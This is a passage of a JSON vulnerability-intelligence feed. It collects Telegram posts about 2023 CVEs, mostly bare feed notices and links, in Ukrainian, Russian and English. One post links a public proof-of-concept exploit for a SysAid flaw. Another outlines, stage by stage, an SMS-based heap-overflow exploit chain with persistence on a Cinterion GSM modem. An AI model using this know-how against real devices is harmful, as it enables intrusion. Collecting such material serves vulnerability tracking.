\u0432\u0438\u043c\u043a\u043d\u0443\u0442\u0438 J-Web \u0430\u0431\u043e \u043e\u0431\u043c\u0435\u0436\u0438\u0442\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u043d\u044c\u043e\u0433\u043e \u043b\u0438\u0448\u0435 \u0434\u043b\u044f \u0434\u043e\u0432\u0456\u0440\u0435\u043d\u0438\u0445 \u0445\u043e\u0441\u0442\u0456\u0432 \u044f\u043a \u0442\u0438\u043c\u0447\u0430\u0441\u043e\u0432\u0438\u0439 \u0437\u0430\u0445\u0456\u0434. \u0412\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0431\u0443\u043b\u0438 \u0432\u0438\u044f\u0432\u043b\u0435\u043d\u0456 \u0432 \u0441\u0435\u0440\u043f\u043d\u0456 \u0446\u044c\u043e\u0433\u043e \u0440\u043e\u043a\u0443, \u0430\u043b\u0435, \u0441\u0445\u043e\u0436\u0435, \u0434\u043e \u0446\u044c\u043e\u0433\u043e \u0447\u0430\u0441\u0443 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u043e \u043d\u0435 \u0435\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0443\u0432\u0430\u043b\u0438\u0441\u044f. \u041a\u043e\u043c\u043f\u0430\u043d\u0456\u044f \u0432\u0438\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u043d\u0456 \u043f\u0430\u0442\u0447\u0456 \u043d\u0435\u0437\u0430\u0431\u0430\u0440\u043e\u043c \u043f\u0456\u0441\u043b\u044f \u0432\u0438\u044f\u0432\u043b\u0435\u043d\u043d\u044f \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u0456 \u0437 \u0442\u043e\u0433\u043e \u0447\u0430\u0441\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0437\u0430\u043a\u043b\u0438\u043a\u0430\u0454 \u043a\u043b\u0456\u0454\u043d\u0442\u0456\u0432 \u043e\u043d\u043e\u0432\u043b\u044e\u0432\u0430\u0442\u0438 \u0441\u0432\u043e\u0457 \u0435\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0438 Junos OS \u0434\u043e \u0431\u0435\u0437\u043f\u0435\u0447\u043d\u043e\u0457 \u0432\u0435\u0440\u0441\u0456\u0457.\n\n\u0412 \u043a\u0456\u043d\u0446\u0456 \u0441\u0435\u0440\u043f\u043d\u044f \u0434\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 \u0437 watchTowr Labs \u043e\u043f\u0443\u0431\u043b\u0456\u043a\u0443\u0432\u0430\u043b\u0438 PoC-\u0435\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0432\u0438\u044f\u0432\u043b\u0435\u043d\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439. \u0410\u0442\u0430\u043a\u0443\u044e\u0447\u0456 \u043c\u043e\u0436\u0443\u0442\u044c \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u043b\u0430\u043d\u0446\u044e\u0436\u043e\u043a \u0456\u0441\u043d\u0443\u044e\u0447\u0438\u0445 \u043d\u0435\u0434\u043e\u043b\u0456\u043a\u0456\u0432 \u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0434\u043b\u044f \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e\u0433\u043e \u0432\u0438\u043a\u043e\u043d\u0430\u043d\u043d\u044f \u043a\u043e\u0434\u0443 \u043d\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0438\u0445 \u043f\u0440\u0438\u0441\u0442\u0440\u043e\u044f\u0445. \u0414\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 watchTowr \u0442\u0430\u043a\u043e\u0436 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441 \u0432\u0456\u0434\u0442\u0432\u043e\u0440\u0435\u043d\u043d\u044f, \u043e\u0431'\u0454\u0434\u043d\u0430\u043d\u043d\u044f \u0442\u0430 \u0435\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0456\u0457 \u0446\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439.\n\n\u0412 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0456 \u0432\u0435\u0440\u0435\u0441\u043d\u044f \u0434\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 \u0437 VulnCheck \u0432\u0438\u044f\u0432\u0438\u043b\u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u043d\u043e 15 000 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0456\u0432 Juniper SRX \u0456 \u043a\u043e\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0456\u0432 Juniper EX, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0438\u0445 \u0432 \u0406\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0456 \u0456 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0438\u0445 \u0434\u043e \u0432\u0438\u0449\u0435\u0437\u0433\u0430\u0434\u0430\u043d\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439. \u0417\u0430 \u0434\u0430\u043d\u0438\u043c\u0438 VulnCheck, \u0432 \u0441\u0435\u0440\u0435\u0434\u043d\u044c\u043e\u043c\u0443 \u0431\u043b\u0438\u0437\u044c\u043a\u043e 80% \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0438\u0445 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0456\u0432, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0438\u0445 \u0447\u0435\u0440\u0435\u0437 \u0406\u043d\u0442\u0435\u0440\u043d\u0435\u0442, \u0437\u0430\u043b\u0438\u0448\u0430\u043b\u0438\u0441\u044f \u043d\u0435\u043e\u043d\u043e\u0432\u043b\u0435\u043d\u0456 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0430\u043d\u0430\u043b\u0456\u0437\u0443.\n\n\u0415\u043a\u0441\u043f\u0435\u0440\u0442\u0438 \u043f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u044e\u044e\u0442\u044c, \u0449\u043e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0438 \u0454 \u043f\u0440\u0438\u0432\u0430\u0431\u043b\u0438\u0432\u0438\u043c\u0438 \u0446\u0456\u043b\u044f\u043c\u0438 \u0434\u043b\u044f \u043d\u0430\u0446\u0456\u043e\u043d\u0430\u043b\u044c\u043d\u0438\u0445 \u0445\u0430\u043a\u0435\u0440\u0456\u0432, \u043e\u0441\u043a\u0456\u043b\u044c\u043a\u0438 \u0432\u043e\u043d\u0438 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442\u044c \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u0438 \u0432 \u0437\u0430\u0445\u0438\u0449\u0435\u043d\u0456 \u043c\u0435\u0440\u0435\u0436\u0456 \u0456 \u043c\u043e\u0436\u0443\u0442\u044c \u0441\u043b\u0443\u0436\u0438\u0442\u0438 \u0445\u043e\u0441\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u0456\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f \u0456 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e. \u0422\u0456\u043b\u044c\u043a\u0438 \u0441\u0432\u043e\u0454\u0447\u0430\u0441\u043d\u0435 \u0432\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u044c \u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0442\u0430 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u0438\u0439 \u043f\u0456\u0434\u0445\u0456\u0434 \u0434\u043e \u043a\u0456\u0431\u0435\u0440\u0437\u0430\u0445\u0438\u0441\u0442\u0443 \u0437\u043c\u043e\u0436\u0435 \u043e\u0431\u0435\u0440\u0435\u0433\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0456\u0437\u0430\u0446\u0456\u0457 \u0432\u0456\u0434 \u043d\u0435\u043f\u0440\u0438\u0454\u043c\u043d\u0438\u0445 \u043d\u0430\u0441\u043b\u0456\u0434\u043a\u0456\u0432 \u0445\u0430\u043a\u0435\u0440\u0441\u044c\u043a\u0438\u0445 \u0430\u0442\u0430\u043a.", "creation_timestamp": "2023-11-19T08:14:40.000000Z"}, {"uuid": "1fab9696-4631-4d6b-9555-79f587de5e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/ap_security/274", "content": "\u2604\ufe0fCVE-2023-47246: PoC\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f SysAid \n\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \n\u043a\u043e\u0434\u0430\ud83d\ude04\n\n\ud83d\udce3\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP/tree/main\n\n#cve #poc #exploit", "creation_timestamp": "2023-11-18T15:05:23.000000Z"}, {"uuid": "79a49cdf-2803-4f60-8215-9cfb58a359e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47610", "type": "published-proof-of-concept", "source": "https://t.me/justsecurity/378", "content": "\ud83e\udd47\u0417\u0430\u043c\u044b\u043a\u0430\u044e\u0449\u0438\u0439 \u043a\u0435\u0439\u0441 \u0432 \u043d\u0430\u0448\u0435\u0439 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0438\u0445 \u0440\u0430\u0431\u043e\u0442 \u0438\u0437 \u043d\u043e\u043c\u0438\u043d\u0430\u0446\u0438\u0438 \u00ab\u0414\u0435\u0432\u0430\u0439\u0441\u00bb \u043e\u0442 \u0430\u0432\u0442\u043e\u0440\u043e\u0432 @n0um3n0n \u0438 @madprogrammer\n\n\u041d\u0430\u0434\u0435\u0435\u043c\u0441\u044f, \u044d\u0442\u0430 \u0441\u0435\u0440\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u0432 \u0432\u0434\u043e\u0445\u043d\u043e\u0432\u0438\u043b\u0430 \u0432\u0430\u0441 \u043f\u043e\u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 #pentestaward 2025, \u0430\u043d\u043e\u043d\u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u044b \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435! \u2728\n\n\u041e\u0431\u044a\u0435\u043a\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\n\nGSM-\u043c\u043e\u0434\u0435\u043c Cinterion EHS5, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445: \u0431\u0430\u043d\u043a\u043e\u043c\u0430\u0442\u0430\u0445, \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u0445, \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0448\u043b\u044e\u0437\u0430\u0445 \u0438 \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438.\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\n\n\u0423\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0447\u0435\u0440\u0435\u0437 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f (\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b SUPL), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u043e\u043c\u0435\u0440 CVE-2023-47610.\n\n\u0425\u043e\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\n\n1) \u041f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 GSM-\u043c\u043e\u0434\u0435\u043c\u0435\n\n- \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d \u043c\u043e\u0434\u0435\u043c Cinterion EHS5 \u043d\u0430 \u0431\u0430\u0437\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430 Intel X-Gold 625.\n- \u0427\u0435\u0440\u0435\u0437 \u0441\u044a\u0435\u043c NAND-\u0444\u043b\u0435\u0448 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0430 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430.\n- \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 SUPL-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 (SMS).\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0434\u043b\u0438\u043d\u043e\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430 \u0438 \u043e\u0431\u0449\u0435\u0439 \u0434\u043b\u0438\u043d\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0443\u0444\u0435\u0440\u0430.\n\n2) \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432\u0430 \u0447\u0442\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438\n\n- \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f, \u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 AT+XLOG \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0441\u0431\u043e\u044f \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432.\n- \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u0430\u0434\u0435\u043d\u0438\u0438 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440 R0 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n- \u0423\u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043c\u0430 (4 \u0431\u0430\u0439\u0442\u0430 \u0432 \u043c\u0438\u043d\u0443\u0442\u0443) \u0447\u0435\u0440\u0435\u0437 SMS.\n\n3) \u041f\u043e\u0438\u0441\u043a \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0438\n\n- \u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0438 malloc \u0438 free \u0432 \u041e\u0421 ThreadX.\n- \u0412\u044b\u044f\u0441\u043d\u0435\u043d\u043e, \u0447\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f free \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u043f\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443, \u0435\u0441\u043b\u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 Thread.\n- \u0421\u043e\u0437\u0434\u0430\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 HeapBase, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e free.\n\n4) \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n- \u0420\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c WAP SMS.\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430 \u041e\u0421.\n- \u041d\u0430\u0439\u0434\u0435\u043d\u0430 \u0442\u043e\u0447\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 Thread.\n\n5) \u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435\n\n- \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c.\n- \u041a\u043e\u0434 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 UTACAT, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 SMS.\n- \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0434\u0440\u0430\u0439\u0432\u0435\u0440, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 SMS.\n\n\u041f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0441 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u043c\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430 \u0425\u0430\u043a\u0435\u0440\u0435 \ud83d\udc48", "creation_timestamp": "2025-04-03T06:32:59.000000Z"}, {"uuid": "805eba60-ca04-428c-8c01-8ab9ead96c51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47639", "type": "seen", "source": "https://t.me/cvedetector/22014", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47639 - API Platform Core Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2023-47639 \nPublished : April 3, 2025, 5:15 p.m. | 1\u00a0hour, 56\u00a0minutes ago \nDescription : API Platform Core is a system to create hypermedia-driven REST and GraphQL APIs. From 3.2.0 until 3.2.4, exception messages, that are not HTTP exceptions, are visible in the JSON error response. This vulnerability is fixed in 3.2.5. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-03T21:55:52.000000Z"}, {"uuid": "ea1bc517-dbb7-43c2-8431-1d9a8af8998e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47159", "type": "seen", "source": "https://t.me/cvedetector/16470", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47159 - IBM Sterling File Gateway Authenticated User Username Enumeration\", \n  \"Content\": \"CVE ID : CVE-2023-47159 \nPublished : Jan. 27, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : IBM Sterling File Gateway 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.1 could allow an authenticated user to enumerate usernames due to an observable discrepancy in request responses. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T17:40:26.000000Z"}, {"uuid": "0051d651-98d2-45e4-8857-b2a3e3bbfed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47118", "type": "seen", "source": "https://t.me/ctinow/157208", "content": "https://ift.tt/Nlny2Kr\nCVE-2023-47118", "creation_timestamp": "2023-12-20T18:21:53.000000Z"}, {"uuid": "1cde570e-1151-4f17-93d0-146d58f49951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47146", "type": "seen", "source": "https://t.me/ctinow/156984", "content": "https://ift.tt/SwF67gH\nCVE-2023-47146", "creation_timestamp": "2023-12-20T13:53:16.000000Z"}, {"uuid": "c2d8213f-f08d-4f4c-853d-d2c5613092e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47184", "type": "seen", "source": "https://t.me/cibsecurity/73593", "content": "\u203c CVE-2023-47184 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Proper Fraction LLC. Admin Bar & Dashboard Access Control plugin <=\u00c2\u00a01.2.8 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T12:26:01.000000Z"}, {"uuid": "d0566a61-0412-423f-86d9-f076a5566fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47852", "type": "seen", "source": "https://t.me/ctinow/157123", "content": "https://ift.tt/iJPdYAQ\nCVE-2023-47852", "creation_timestamp": "2023-12-20T16:24:00.000000Z"}, {"uuid": "cf23fe30-759d-449e-b0b5-26454f975bc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47464", "type": "seen", "source": "https://t.me/ctinow/157037", "content": "https://ift.tt/BpWTHar\nCVE-2023-47464 | GL.iNET AX1800 up to 4.4.x Upload API permission", "creation_timestamp": "2023-12-20T14:46:28.000000Z"}, {"uuid": "c1bca0d8-8ca0-4a5b-a39b-ba8bf709f586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47777", "type": "seen", "source": "https://t.me/ctinow/157110", "content": 